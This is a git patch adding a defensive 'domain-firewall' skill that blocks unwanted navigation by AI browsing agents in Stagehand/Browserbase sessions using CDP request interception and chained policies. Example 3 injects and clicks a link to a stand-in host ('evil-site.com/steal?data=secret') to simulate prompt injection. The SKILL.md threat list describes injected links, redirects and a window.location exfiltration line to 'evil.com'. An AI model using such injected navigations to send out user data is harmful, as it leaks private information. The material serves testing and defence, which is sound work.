From 203154cf47e6251075c23a27244ebb841cd3ccac Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Mon, 30 Mar 2026 14:17:27 -0700 Subject: [PATCH 01/25] =?UTF-8?q?Add=20domain-firewall=20skill=20=E2=80=94?= =?UTF-8?q?=20CDP=20navigation=20security=20for=20Stagehand?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Teaches coding agents how to implement protocol-level domain allowlisting for Browserbase sessions using CDP Fetch.enable. Features a composable policy system with five built-in policies (allowlist, denylist, pattern, tld, interactive) that chain with first-match-wins semantics. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude-plugin/marketplace.json | 15 + skills/domain-firewall/EXAMPLES.md | 280 +++++++++++++++++++ skills/domain-firewall/LICENSE.txt | 21 ++ skills/domain-firewall/REFERENCE.md | 370 +++++++++++++++++++++++++ skills/domain-firewall/SKILL.md | 414 ++++++++++++++++++++++++++++ 5 files changed, 1100 insertions(+) create mode 100644 skills/domain-firewall/EXAMPLES.md create mode 100644 skills/domain-firewall/LICENSE.txt create mode 100644 skills/domain-firewall/REFERENCE.md create mode 100644 skills/domain-firewall/SKILL.md diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index da63102..2be8075 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -53,6 +53,21 @@ "skills": [ "./skills/browserbase-cli" ] + }, + { + "name": "domain-firewall", + "source": "./", + "description": "Implement CDP-based domain allowlist security for Stagehand/Browserbase browser sessions. Use when the user wants to restrict which domains an AI agent can navigate to, block malicious links, prevent prompt injection redirects, or add navigation security to browser automation.", + "version": "0.0.1", + "author": { + "name": "Browserbase" + }, + "category": "security", + "keywords": ["security", "firewall", "allowlist", "cdp", "navigation", "domain-filtering", "prompt-injection"], + "strict": false, + "skills": [ + "./skills/domain-firewall" + ] } ] } diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md new file mode 100644 index 0000000..0742dc0 --- /dev/null +++ b/skills/domain-firewall/EXAMPLES.md @@ -0,0 +1,280 @@ +# Domain Firewall Examples + +Practical patterns for using the CDP domain firewall with composable policies. + +## Example 1: Basic Allowlist + +**User request**: "Lock my agent to only browse Wikipedia and GitHub" + +```typescript +import { Stagehand } from "@browserbasehq/stagehand"; +import { installDomainFirewall, allowlist } from "./domain-firewall"; + +const stagehand = new Stagehand({ env: "BROWSERBASE" }); +await stagehand.init(); +const page = stagehand.context.pages()[0]; + +await installDomainFirewall(page, { + policies: [ + allowlist(["wikipedia.org", "en.wikipedia.org", "github.com"]), + ], + defaultVerdict: "deny", +}); + +// These work: +await page.goto("https://en.wikipedia.org/wiki/Node.js"); +await page.goto("https://github.com/browserbase/stagehand"); + +// This is blocked: +await page.goto("https://example.com").catch(() => { + console.log("Denied — not in allowlist"); +}); + +await stagehand.close(); +``` + +## Example 2: Human-in-the-Loop Approval (stdin) + +**User request**: "Let the agent browse, but ask me before it visits unknown domains" + +The browser freezes on the current page while the terminal waits for your `y`/`n` input. + +```typescript +import * as readline from "readline/promises"; +import { + installDomainFirewall, + allowlist, + interactive, + type NavigationRequest, +} from "./domain-firewall"; + +const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, +}); + +const promptUser = async (req: NavigationRequest): Promise<"allow" | "deny"> => { + console.log(`\n Agent wants to visit: ${req.domain}`); + console.log(` URL: ${req.url}`); + const answer = await rl.question(" Allow? (y/n): "); + return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; +}; + +await installDomainFirewall(page, { + policies: [ + allowlist(["en.wikipedia.org"]), // known-good: instant + interactive(promptUser, { timeoutMs: 60000, onTimeout: "deny" }), // unknown: ask operator + ], + defaultVerdict: "deny", +}); + +// Wikipedia: passes through instantly (allowlist) +await page.goto("https://en.wikipedia.org/wiki/Web_browser"); + +// example.com: held → terminal prompts "Allow? (y/n):" → you decide +const result = await page + .goto("https://example.com", { timeoutMs: 65000 }) + .catch((e: any) => e); + +if (result instanceof Error) { + console.log("You denied the navigation"); +} else { + console.log(`Approved — now on: ${page.url()}`); +} + +// Don't forget to close readline when done +rl.close(); +``` + +## Example 3: Catching Malicious Link Clicks + +**User request**: "Protect my agent against prompt injection links on untrusted pages" + +The firewall catches navigations from DOM clicks — not just `page.goto()`. + +```typescript +import { installDomainFirewall, allowlist, denylist } from "./domain-firewall"; + +await installDomainFirewall(page, { + policies: [ + denylist(["evil-site.com", "phishing.com"]), + allowlist(["en.wikipedia.org"]), + ], + defaultVerdict: "deny", +}); + +// Navigate to a trusted page +await page.goto("https://en.wikipedia.org/wiki/Web_browser", { + waitUntil: "domcontentloaded", +}); + +// Simulate a malicious link injected into the page (e.g. via prompt injection) +await page.sendCDP("Runtime.evaluate", { + expression: ` + const link = document.createElement("a"); + link.href = "https://evil-site.com/steal?data=secret"; + link.id = "malicious-link"; + link.textContent = "Click here for more info"; + document.body.prepend(link); + `, +}); + +// When the agent clicks this link, the firewall catches it +await page.sendCDP("Runtime.evaluate", { + expression: `document.getElementById("malicious-link").click()`, +}); + +await new Promise((r) => setTimeout(r, 500)); +console.log(`URL after click: ${page.url()}`); +// Still on Wikipedia — the malicious navigation was blocked by denylist policy +``` + +## Example 4: TLD and Pattern Rules + +**User request**: "Allow educational and open-source domains, block suspicious TLDs, and allow all GitHub subdomains" + +```typescript +import { + installDomainFirewall, + denylist, + allowlist, + tld, + pattern, +} from "./domain-firewall"; + +await installDomainFirewall(page, { + policies: [ + denylist(["evil.com"]), // 1. known-bad + allowlist(["github.com"]), // 2. known-good + pattern(["*.github.com", "*.githubusercontent.com"], "allow"), // 3. GitHub subdomains + tld({ ".org": "allow", ".edu": "allow", ".gov": "allow" }), // 4. trusted TLDs + pattern(["*.ru", "*.cn"], "deny"), // 5. suspicious patterns + ], + defaultVerdict: "deny", +}); + +// github.com → allowed (allowlist) +// raw.githubusercontent.com → allowed (pattern) +// mozilla.org → allowed (tld: .org) +// mit.edu → allowed (tld: .edu) +// sketchy.ru → denied (pattern: *.ru) +// example.com → denied (default) +``` + +## Example 5: Audit Log with Policy Attribution + +**User request**: "Log all navigation attempts and show which policy decided each one" + +```typescript +import { + installDomainFirewall, + denylist, + allowlist, + tld, + type AuditEntry, +} from "./domain-firewall"; + +const auditLog: AuditEntry[] = []; + +await installDomainFirewall(page, { + policies: [ + denylist(["evil.com"]), + allowlist(["en.wikipedia.org", "github.com"]), + tld({ ".org": "allow" }), + ], + defaultVerdict: "deny", + auditLog, +}); + +// ... agent performs browsing tasks ... + +// Print audit report +console.log("\n=== Navigation Audit Report ===\n"); + +for (const entry of auditLog) { + const icon = entry.action === "ALLOWED" ? "PASS" : "DENY"; + console.log( + `[${entry.time}] ${icon.padEnd(5)} ${entry.domain.padEnd(30)} decided by: ${entry.decidedBy}`, + ); +} +// Example output: +// [14:23:01] PASS en.wikipedia.org decided by: allowlist +// [14:23:05] PASS github.com decided by: allowlist +// [14:23:08] DENY evil.com decided by: denylist +// [14:23:10] PASS mozilla.org decided by: tld +// [14:23:12] DENY example.com decided by: default +``` + +## Example 6: Full Policy Chain + +**User request**: "Set up comprehensive navigation security with known-bad blocking, known-good allowing, TLD rules, and human approval as a fallback" + +```typescript +import { + installDomainFirewall, + denylist, + allowlist, + tld, + pattern, + interactive, + type AuditEntry, +} from "./domain-firewall"; + +const auditLog: AuditEntry[] = []; + +await installDomainFirewall(page, { + policies: [ + // Layer 1: Hard deny known-bad domains (instant) + denylist(["evil.com", "phishing-site.com", "malware.download"]), + + // Layer 2: Allow known-good domains (instant) + allowlist([ + "en.wikipedia.org", + "github.com", + "docs.google.com", + ]), + + // Layer 3: Allow GitHub ecosystem subdomains (instant) + pattern(["*.github.com", "*.githubusercontent.com"], "allow"), + + // Layer 4: Allow trusted TLDs (instant) + tld({ ".org": "allow", ".edu": "allow", ".gov": "allow" }), + + // Layer 5: Block suspicious TLD patterns (instant) + pattern(["*.ru", "*.cn", "*.tk"], "deny"), + + // Layer 6: Everything else — ask the operator via stdin (60s timeout) + interactive( + async (req) => { + console.log(`\n Unknown domain: ${req.domain} (${req.url})`); + const answer = await rl.question(" Allow? (y/n): "); + return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; + }, + { timeoutMs: 60000, onTimeout: "deny" }, + ), + ], + defaultVerdict: "deny", + auditLog, +}); +``` + +**Policy evaluation flow for `docs.google.com`**: +1. denylist → abstain (not in list) +2. allowlist → allow (match!) + +**Policy evaluation flow for `unknown-site.xyz`**: +1. denylist → abstain +2. allowlist → abstain +3. pattern:allow → abstain +4. tld → abstain (`.xyz` not in rules) +5. pattern:deny → abstain (not `*.ru`/`*.cn`/`*.tk`) +6. interactive → asks human → "deny" (or timeout → "deny") + +## Tips + +- **Policy order is your security model**: Put denylists first (fail-fast for known threats), then allowlists, then broad rules (TLD/pattern), then interactive as the last resort. +- **Subdomain coverage**: `allowlist(["github.com"])` does NOT match `api.github.com`. Use `pattern(["*.github.com"], "allow")` for subdomains. +- **Custom policies are easy**: Any `{ name, evaluate }` object works. Use this for time-based rules, rate limiting, or domain reputation lookups. +- **Production timeout pattern**: Always set `timeoutMs` on `interactive()`. A request held indefinitely ties up browser resources. +- **Testing your firewall**: Use `page.sendCDP("Runtime.evaluate")` to inject links and click them programmatically, as shown in Example 3. This simulates prompt injection. +- **Audit log for debugging**: If a navigation is unexpectedly blocked or allowed, check `decidedBy` in the audit log to see which policy made the decision. diff --git a/skills/domain-firewall/LICENSE.txt b/skills/domain-firewall/LICENSE.txt new file mode 100644 index 0000000..f2f4397 --- /dev/null +++ b/skills/domain-firewall/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Browserbase, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/domain-firewall/REFERENCE.md b/skills/domain-firewall/REFERENCE.md new file mode 100644 index 0000000..b0c608e --- /dev/null +++ b/skills/domain-firewall/REFERENCE.md @@ -0,0 +1,370 @@ +# Domain Firewall — API Reference + +## Table of Contents + +- [Architecture](#architecture) +- [Policy System](#policy-system) +- [Built-in Policies](#built-in-policies) +- [CDP APIs](#cdp-apis) +- [Stagehand APIs](#stagehand-apis) +- [Error Reasons](#error-reasons) +- [Resource Types](#resource-types) +- [Security Considerations](#security-considerations) + +## Architecture + +``` +Stagehand.init() + │ + ▼ +page.sendCDP("Fetch.enable", { patterns: [{ urlPattern: "*" }] }) + │ + ▼ +┌──────────────────────────────────────────────┐ +│ session.on("Fetch.requestPaused", handler) │ ← fires for EVERY request +└──────────────┬───────────────────────────────┘ + │ + ▼ + ┌───────────────┐ ┌───────────────────┐ + │ resourceType │─No─▶│ Fetch.continue │ (images, CSS, JS, fonts) + │ == Document? │ │ Request │ + └───────┬───────┘ └───────────────────┘ + │ Yes + ▼ + ┌───────────────────────────────────────────┐ + │ POLICY CHAIN EVALUATION │ + │ │ + │ for each policy in config.policies: │ + │ verdict = policy.evaluate({ domain }) │ + │ if verdict ≠ "abstain" → use it │ + │ │ + │ if all abstain → use defaultVerdict │ + └───────────────┬───────────────────────────┘ + │ + ┌──────┴──────┐ + ▼ ▼ + "allow" "deny" + │ │ + ▼ ▼ + Fetch.continue Fetch.failRequest + Request (BlockedByClient) + │ │ + ▼ ▼ + Page loads Page stays put +``` + +## Policy System + +### Core Types + +```typescript +type Verdict = "allow" | "deny" | "abstain"; + +interface NavigationRequest { + /** Normalized domain (no www, lowercase) */ + domain: string; + /** Full URL being navigated to */ + url: string; +} + +interface FirewallPolicy { + /** Human-readable name (appears in audit log's decidedBy field) */ + name: string; + /** Evaluate a navigation request. Return "abstain" to defer to the next policy. */ + evaluate(req: NavigationRequest): Verdict | Promise; +} + +interface FirewallConfig { + /** Policies evaluated in order. First non-"abstain" verdict wins. */ + policies: FirewallPolicy[]; + /** Verdict when all policies abstain. Default: "deny". */ + defaultVerdict?: "allow" | "deny"; + /** Optional array to collect audit entries. */ + auditLog?: AuditEntry[]; +} + +interface AuditEntry { + /** ISO timestamp (HH:MM:SS) */ + time: string; + /** Normalized domain */ + domain: string; + /** URL (truncated to 80 chars) */ + url: string; + /** Disposition */ + action: "ALLOWED" | "BLOCKED"; + /** Which policy decided, or "default" if all abstained */ + decidedBy: string; +} +``` + +### evaluatePolicies + +Internal function that runs the policy chain. + +```typescript +async function evaluatePolicies( + policies: FirewallPolicy[], + req: NavigationRequest, + defaultVerdict: "allow" | "deny", +): Promise<{ verdict: "allow" | "deny"; decidedBy: string }> +``` + +| Parameter | Type | Description | +|-----------|------|-------------| +| `policies` | `FirewallPolicy[]` | Ordered array of policies | +| `req` | `NavigationRequest` | The navigation being evaluated | +| `defaultVerdict` | `"allow" \| "deny"` | Fallback when all policies abstain | + +Returns `{ verdict, decidedBy }` — the final decision and which policy made it. + +### installDomainFirewall + +```typescript +async function installDomainFirewall( + page: Page, + config: FirewallConfig, +): Promise +``` + +| Parameter | Type | Description | +|-----------|------|-------------| +| `page` | `Page` | Stagehand page object (from `stagehand.context.pages()[0]`) | +| `config` | `FirewallConfig` | Policy chain, default verdict, and optional audit log | + +## Built-in Policies + +### allowlist(domains) + +```typescript +function allowlist(domains: string[]): FirewallPolicy +``` + +Returns `"allow"` if the normalized domain is in the list, `"abstain"` otherwise. Domains are normalized (stripped of `www.`, lowercased) on construction. + +| Parameter | Type | Description | +|-----------|------|-------------| +| `domains` | `string[]` | List of allowed domains | + +**Policy name**: `"allowlist"` + +### denylist(domains) + +```typescript +function denylist(domains: string[]): FirewallPolicy +``` + +Returns `"deny"` if the normalized domain is in the list, `"abstain"` otherwise. + +| Parameter | Type | Description | +|-----------|------|-------------| +| `domains` | `string[]` | List of denied domains | + +**Policy name**: `"denylist"` + +### pattern(globs, verdict) + +```typescript +function pattern(globs: string[], verdict: "allow" | "deny"): FirewallPolicy +``` + +Matches the domain against glob patterns. `*` matches any sequence of characters. + +| Parameter | Type | Description | +|-----------|------|-------------| +| `globs` | `string[]` | Glob patterns to match against domains (e.g. `"*.github.com"`) | +| `verdict` | `"allow" \| "deny"` | Verdict to return on match | + +**Policy name**: `"pattern:allow"` or `"pattern:deny"` + +**Glob examples**: +- `"*.github.com"` — matches `raw.githubusercontent.com`? No. Matches `api.github.com`? Yes. +- `"*.org"` — matches any `.org` domain +- `"evil-*"` — matches `evil-site.com`, `evil-phishing.net`, etc. + +### tld(rules) + +```typescript +function tld(rules: Record): FirewallPolicy +``` + +Checks the domain's TLD against a rules map. Keys must include the leading dot (e.g. `".org"`). + +| Parameter | Type | Description | +|-----------|------|-------------| +| `rules` | `Record` | Map of TLD to verdict | + +**Policy name**: `"tld"` + +### interactive(handler, opts?) + +```typescript +function interactive( + handler: (req: NavigationRequest) => Promise<"allow" | "deny">, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, +): FirewallPolicy +``` + +Calls the async handler for a human (or automated) decision. The request is held at the CDP level until the handler resolves. + +| Parameter | Type | Default | Description | +|-----------|------|---------|-------------| +| `handler` | `(req) => Promise<"allow" \| "deny">` | — | Async function that returns a verdict | +| `opts.timeoutMs` | `number` | `30000` | Timeout in milliseconds | +| `opts.onTimeout` | `"allow" \| "deny"` | `"deny"` | Verdict if handler times out | + +**Policy name**: `"interactive"` + +### Custom Policies + +Any object matching `FirewallPolicy` works. Example: + +```typescript +const businessHours: FirewallPolicy = { + name: "business-hours", + evaluate: (req) => { + const hour = new Date().getHours(); + // Only allow browsing during business hours + return hour >= 9 && hour < 17 ? "abstain" : "deny"; + }, +}; +``` + +## CDP APIs + +### Fetch.enable + +Start intercepting network requests. + +```typescript +await page.sendCDP("Fetch.enable", { + patterns: [{ urlPattern: "*" }], +}); +``` + +| Parameter | Type | Required | Description | +|-----------|------|----------|-------------| +| `patterns` | `RequestPattern[]` | No | Which requests to intercept. `[{ urlPattern: "*" }]` intercepts all. | +| `handleAuthRequests` | `boolean` | No | If `true`, `Fetch.authRequired` events fire for 401/407 responses. | + +### Fetch.requestPaused (event) + +Fired for each intercepted request. The request is **held** until you call `continueRequest` or `failRequest`. + +```typescript +const session = page.getSessionForFrame(page.mainFrameId()); +session.on("Fetch.requestPaused", async (params) => { ... }); +``` + +| Field | Type | Description | +|-------|------|-------------| +| `requestId` | `string` | Unique ID for this paused request | +| `request.url` | `string` | The full URL being requested | +| `request.method` | `string` | HTTP method | +| `request.headers` | `object` | Request headers | +| `resourceType` | `string` | Resource type (see [Resource Types](#resource-types)) | +| `frameId` | `string` | The frame that initiated the request | + +### Fetch.continueRequest + +Resume a paused request. + +```typescript +await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); +``` + +| Parameter | Type | Required | Description | +|-----------|------|----------|-------------| +| `requestId` | `string` | Yes | ID from `Fetch.requestPaused` | +| `url` | `string` | No | Override the request URL | +| `method` | `string` | No | Override the HTTP method | +| `headers` | `HeaderEntry[]` | No | Override request headers | + +### Fetch.failRequest + +Reject a paused request. + +```typescript +await page.sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", +}); +``` + +| Parameter | Type | Required | Description | +|-----------|------|----------|-------------| +| `requestId` | `string` | Yes | ID from `Fetch.requestPaused` | +| `errorReason` | `string` | Yes | One of the [error reasons](#error-reasons) | + +## Stagehand APIs + +### page.sendCDP(method, params?) + +Send any Chrome DevTools Protocol command. + +| Parameter | Type | Description | +|-----------|------|-------------| +| `method` | `string` | CDP method name (e.g. `"Fetch.enable"`) | +| `params` | `object` | Method parameters (optional) | + +### page.getSessionForFrame(frameId) + +Get the CDP session for a given frame. Supports `.on(event, handler)` for CDP events. + +| Parameter | Type | Description | +|-----------|------|-------------| +| `frameId` | `string` | Frame ID from `page.mainFrameId()` | + +### page.mainFrameId() + +Returns the frame ID of the page's main frame. No parameters. + +## Error Reasons + +Valid values for `errorReason` in `Fetch.failRequest`: + +| Value | Recommended Use | +|-------|-----------------| +| `BlockedByClient` | **Default for domain firewall.** Client chose to block. | +| `AccessDenied` | Access denied (CORS, permissions). | +| `Failed` | Generic network failure. | +| `Aborted` | Request aborted. | +| `TimedOut` | Request timed out. | +| `ConnectionRefused` | Connection refused. | +| `NameNotResolved` | DNS resolution failed. | +| `InternetDisconnected` | No internet connection. | +| `AddressUnreachable` | Address unreachable. | +| `BlockedByResponse` | Blocked by response headers. | + +## Resource Types + +The domain firewall filters to `Document` only — all other types pass through. + +| Type | Description | Firewall Action | +|------|-------------|-----------------| +| `Document` | Page navigations (HTML documents) | **Evaluate policy chain** | +| `Stylesheet` | CSS files | Pass through | +| `Image` | Images | Pass through | +| `Media` | Audio/video | Pass through | +| `Font` | Web fonts | Pass through | +| `Script` | JavaScript files | Pass through | +| `XHR` | XMLHttpRequest | Pass through | +| `Fetch` | Fetch API requests | Pass through | +| `WebSocket` | WebSocket connections | Pass through | +| `Other` | Unclassified | Pass through | + +## Security Considerations + +### Why Fetch.enable is the right layer + +| Approach | Catches goto() | Catches link clicks | Catches redirects | Catches JS navigation | +|----------|---------------|--------------------|--------------------|----------------------| +| App-level URL check before `goto()` | Yes | No | No | No | +| `page.on("request")` (Playwright) | Yes | Yes | Some | Some | +| **`Fetch.enable` (CDP)** | **Yes** | **Yes** | **Yes** | **Yes** | + +### Limitations + +- **Same-origin iframes**: Navigations within iframes may use a different frame ID. Install the firewall on each frame if needed. +- **Service workers**: Requests handled entirely by a service worker may not trigger `Fetch.requestPaused`. +- **Session lifecycle**: The CDP session is tied to the frame. If the page crashes, reinstall the firewall. +- **Policy evaluation time**: The `interactive` policy holds the request while waiting for a human. Implement timeouts for production use. diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md new file mode 100644 index 0000000..e144671 --- /dev/null +++ b/skills/domain-firewall/SKILL.md @@ -0,0 +1,414 @@ +--- +name: domain-firewall +description: Implement CDP-based domain allowlist security for Stagehand/Browserbase browser sessions. Use when the user wants to restrict which domains an AI agent can navigate to, block malicious links, prevent prompt injection redirects, or add navigation security to browser automation. +license: MIT +--- + +# Domain Firewall — CDP Navigation Security for Stagehand + +Intercept every browser navigation at the Chrome DevTools Protocol level and gate it by composable policies. Non-allowed domains are blocked or frozen mid-request for human approval. + +## Why This Matters + +AI agents browsing on behalf of users are vulnerable to navigation-based attacks: + +- **Prompt injection links**: A page contains a malicious link embedded in content. The agent's `act()` or `extract()` may follow it. +- **Open redirects**: A trusted domain redirects to an attacker-controlled site via `Location` header or ``. +- **JavaScript-triggered navigation**: A script calls `window.location = "https://evil.com/exfil?data=..."` after the page loads. +- **Data exfiltration**: An attacker-controlled page reads cookies, localStorage, or page content and sends it to their server. + +Application-level URL validation (checking the URL before calling `goto()`) only catches explicit navigations. It misses redirects, meta refreshes, link clicks, and JS-initiated navigations entirely. + +The domain firewall operates at the **protocol level** — below the browser engine. Every network request, regardless of how it was triggered, passes through the gate. + +## How It Works + +1. After `stagehand.init()`, call `page.sendCDP("Fetch.enable")` to intercept all requests +2. `page.getSessionForFrame(page.mainFrameId())` gives you the CDP session with `.on()` for events +3. `session.on("Fetch.requestPaused")` fires for every request before the browser executes it +4. Filter to `Document` resource type (page navigations only — images, CSS, JS pass through) +5. Run the navigation through the **policy chain** — each policy returns `"allow"`, `"deny"`, or `"abstain"` +6. First non-`"abstain"` verdict wins. If all policies abstain, `defaultVerdict` applies (default: `"deny"`) + +## Policy System + +The firewall uses composable policies evaluated in order. Each policy independently decides whether to allow, deny, or abstain (defer to the next policy). + +### Types + +```typescript +type Verdict = "allow" | "deny" | "abstain"; + +interface NavigationRequest { + domain: string; // normalized (no www, lowercase) + url: string; // full URL +} + +interface FirewallPolicy { + name: string; + evaluate(req: NavigationRequest): Verdict | Promise; +} + +interface FirewallConfig { + policies: FirewallPolicy[]; + defaultVerdict?: "allow" | "deny"; // default: "deny" + auditLog?: AuditEntry[]; +} + +interface AuditEntry { + time: string; + domain: string; + url: string; + action: "ALLOWED" | "BLOCKED"; + decidedBy: string; // which policy made the decision, or "default" +} +``` + +### Built-in Policies + +Five factory functions, each returning a `FirewallPolicy`: + +#### `allowlist(domains)` — static domain allowlist + +```typescript +function allowlist(domains: string[]): FirewallPolicy +``` + +Returns `"allow"` if the domain matches, `"abstain"` otherwise. + +```typescript +allowlist(["wikipedia.org", "en.wikipedia.org", "github.com"]) +``` + +#### `denylist(domains)` — static domain denylist + +```typescript +function denylist(domains: string[]): FirewallPolicy +``` + +Returns `"deny"` if the domain matches, `"abstain"` otherwise. + +```typescript +denylist(["evil.com", "phishing-site.com", "malware.download"]) +``` + +#### `pattern(globs, verdict)` — glob matching on domain + +```typescript +function pattern(globs: string[], verdict: "allow" | "deny"): FirewallPolicy +``` + +Matches domain against glob patterns (`*` = any characters). Returns the given verdict on match, `"abstain"` otherwise. + +```typescript +pattern(["*.github.com", "*.githubusercontent.com"], "allow") +pattern(["*.ru", "*.cn"], "deny") +``` + +#### `tld(rules)` — TLD-based rules + +```typescript +function tld(rules: Record): FirewallPolicy +``` + +Checks the domain's TLD against the rules map. Returns the mapped verdict, or `"abstain"` if the TLD isn't in the map. + +```typescript +tld({ ".org": "allow", ".edu": "allow", ".gov": "allow", ".ru": "deny" }) +``` + +#### `interactive(handler, opts?)` — human-in-the-loop with timeout + +```typescript +function interactive( + handler: (req: NavigationRequest) => Promise<"allow" | "deny">, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, +): FirewallPolicy +``` + +Calls the async handler and waits for a human decision. Built-in timeout defaults to 30 seconds, auto-denying on timeout. + +```typescript +import * as readline from "readline/promises"; + +const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); + +interactive( + async (req) => { + console.log(`\n Agent wants to visit: ${req.domain} (${req.url})`); + const answer = await rl.question(" Allow? (y/n): "); + return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; + }, + { timeoutMs: 60000, onTimeout: "deny" }, +) +``` + +### Composing Policies + +Policies evaluate in array order. First non-`"abstain"` verdict wins. + +```typescript +const config: FirewallConfig = { + policies: [ + denylist(["evil.com", "phishing.com"]), // 1. deny known bad domains + allowlist(["wikipedia.org", "github.com"]), // 2. allow known good domains + tld({ ".org": "allow", ".edu": "allow" }), // 3. allow trusted TLDs + pattern(["*.github.com"], "allow"), // 4. allow GitHub subdomains + // 5. everything else falls through to defaultVerdict + ], + defaultVerdict: "deny", + auditLog: [], +}; +``` + +**Evaluation for `evil.com`**: denylist → `"deny"` (stops here) +**Evaluation for `github.com`**: denylist → `"abstain"` → allowlist → `"allow"` (stops here) +**Evaluation for `mozilla.org`**: denylist → `"abstain"` → allowlist → `"abstain"` → tld → `"allow"` (`.org` rule) +**Evaluation for `example.com`**: all abstain → `defaultVerdict` → `"deny"` + +## Prerequisites + +- Stagehand v3 (`@browserbasehq/stagehand ^3.0.0`) +- Environment variables: `BROWSERBASE_API_KEY`, `BROWSERBASE_PROJECT_ID` +- Optional: `OPENAI_API_KEY` or `MODEL_API_KEY` (only if using Stagehand AI features like `act()`) + +## Core Implementation + +Copy this into your project. The file exports all types, built-in policies, and `installDomainFirewall`. + +### Helpers + +```typescript +function normalizeDomain(hostname: string): string { + return hostname.replace(/^www\./, "").toLowerCase(); +} + +function ts(): string { + return new Date().toISOString().substring(11, 19); +} + +function globToRegex(glob: string): RegExp { + const escaped = glob + .replace(/[.+^${}()|[\]\\]/g, "\\$&") + .replace(/\*/g, ".*"); + return new RegExp(`^${escaped}$`); +} + +async function evaluatePolicies( + policies: FirewallPolicy[], + req: NavigationRequest, + defaultVerdict: "allow" | "deny", +): Promise<{ verdict: "allow" | "deny"; decidedBy: string }> { + for (const policy of policies) { + const v = await policy.evaluate(req); + if (v !== "abstain") { + return { verdict: v, decidedBy: policy.name }; + } + } + return { verdict: defaultVerdict, decidedBy: "default" }; +} +``` + +### Built-in Policy Implementations + +```typescript +export function allowlist(domains: string[]): FirewallPolicy { + const set = new Set(domains.map((d) => normalizeDomain(d))); + return { + name: "allowlist", + evaluate: (req) => (set.has(req.domain) ? "allow" : "abstain"), + }; +} + +export function denylist(domains: string[]): FirewallPolicy { + const set = new Set(domains.map((d) => normalizeDomain(d))); + return { + name: "denylist", + evaluate: (req) => (set.has(req.domain) ? "deny" : "abstain"), + }; +} + +export function pattern( + globs: string[], + verdict: "allow" | "deny", +): FirewallPolicy { + const regexes = globs.map(globToRegex); + return { + name: `pattern:${verdict}`, + evaluate: (req) => + regexes.some((r) => r.test(req.domain)) ? verdict : "abstain", + }; +} + +export function tld( + rules: Record, +): FirewallPolicy { + return { + name: "tld", + evaluate: (req) => { + const dot = "." + req.domain.split(".").pop(); + return rules[dot] ?? "abstain"; + }, + }; +} + +export function interactive( + handler: (req: NavigationRequest) => Promise<"allow" | "deny">, + opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny" }, +): FirewallPolicy { + const timeoutMs = opts?.timeoutMs ?? 30000; + const onTimeout = opts?.onTimeout ?? "deny"; + return { + name: "interactive", + evaluate: (req) => + Promise.race([ + handler(req), + new Promise<"allow" | "deny">((resolve) => + setTimeout(() => resolve(onTimeout), timeoutMs), + ), + ]), + }; +} +``` + +### installDomainFirewall + +```typescript +export async function installDomainFirewall( + page: any, + config: FirewallConfig, +): Promise { + const policies = config.policies; + const defaultVerdict = config.defaultVerdict ?? "deny"; + const auditLog = config.auditLog; + + await page.sendCDP("Fetch.enable", { + patterns: [{ urlPattern: "*" }], + }); + + const session = page.getSessionForFrame(page.mainFrameId()); + + session.on( + "Fetch.requestPaused", + async (params: { + requestId: string; + request: { url: string }; + resourceType?: string; + }) => { + const url = params.request.url; + + // Pass through non-document requests (images, CSS, JS, fonts, etc.) + const resourceType = params.resourceType || ""; + if (resourceType !== "Document" && resourceType !== "") { + page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + // Pass through internal pages + if ( + url.startsWith("chrome") || + url.startsWith("about:") || + url.startsWith("data:") + ) { + page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + let domain: string; + try { + domain = normalizeDomain(new URL(url).hostname); + } catch { + page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + return; + } + + const req: NavigationRequest = { domain, url }; + const { verdict, decidedBy } = await evaluatePolicies( + policies, + req, + defaultVerdict, + ); + + if (verdict === "allow") { + auditLog?.push({ + time: ts(), domain, url: url.substring(0, 80), + action: "ALLOWED", decidedBy, + }); + page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + } else { + auditLog?.push({ + time: ts(), domain, url: url.substring(0, 80), + action: "BLOCKED", decidedBy, + }); + page.sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", + }); + } + }, + ); +} +``` + +## Basic Usage + +```typescript +import { Stagehand } from "@browserbasehq/stagehand"; +import { + installDomainFirewall, + allowlist, + denylist, + type AuditEntry, +} from "./domain-firewall"; + +const stagehand = new 